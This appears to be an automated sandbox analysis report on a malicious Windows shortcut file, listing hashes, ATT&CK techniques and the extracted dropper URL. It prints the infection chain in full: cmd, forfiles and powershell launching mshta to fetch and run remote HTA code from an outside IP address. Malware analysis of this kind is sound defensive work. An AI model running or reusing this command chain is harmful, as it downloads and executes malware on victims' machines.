85b317bb4463a93ecc4d25af872401984d61e9ddcee4c275ea1f1d9875b5fa61

Analysis

max time kernel
138s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
03/07/2024, 02:16

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General

Target
85b317bb4463a93ecc4d25af872401984d61e9ddcee4c275ea1f1d9875b5fa61.lnk
Size 1KB
Sample240703-cqdnrascpe
SHA256 85b317bb4463a93ecc4d25af872401984d61e9ddcee4c275ea1f1d9875b5fa61
MD5 c6d3234e6d234ac35340b68402d65f7d
SHA1 b6af26d59817c43729d48c46b9a4feee284f94eb
SHA512 78794b7a77cd027b8dce320b6d1aaf918600a2d5c350ee676c705700a739fe7e55104ba29475ef6555adce4fec2ba0f13b0c9ca10d9730b7d8cfa44632d460b4
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://149.51.230.198:5566/config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	4896	mshta.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4732	powershell.exe
4732	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4732	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1836 wrote to memory of 2932	1836	cmd.exe	91
PID 1836 wrote to memory of 2932	1836	cmd.exe	91
PID 2932 wrote to memory of 4732	2932	forfiles.exe	92
PID 2932 wrote to memory of 4732	2932	forfiles.exe	92
PID 4732 wrote to memory of 4896	4732	powershell.exe	93
PID 4732 wrote to memory of 4896	4732	powershell.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\85b317bb4463a93ecc4d25af872401984d61e9ddcee4c275ea1f1d9875b5fa61.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1836
- C:\Windows\System32\forfiles.exe
  "C:\Windows\System32\forfiles.exe" /p C:\Windows /m write.exe /c "powershell . mshta http://149.51.230.198:5566/config"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2932
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    . mshta http://149.51.230.198:5566/config
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4732
  - - C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" http://149.51.230.198:5566/config
      4⤵
      Blocklisted process makes network request
      PID:4896

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4416,i,8660989700097327804,17931739887231169645,262144 --variations-seed-version --mojo-platform-channel-handle=3764 /prefetch:8
1⤵
PID:2272

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_rcbij3of.rmg.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rcbij3of.rmg.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/4732-0-0x00007FF8D8113000-0x00007FF8D8115000-memory.dmp

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memory/4732-10-0x0000016634B10000-0x0000016634B32000-memory.dmp

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memory/4732-11-0x00007FF8D8110000-0x00007FF8D8BD1000-memory.dmp

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memory/4732-12-0x00007FF8D8110000-0x00007FF8D8BD1000-memory.dmp

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memory/4732-15-0x00007FF8D8110000-0x00007FF8D8BD1000-memory.dmp

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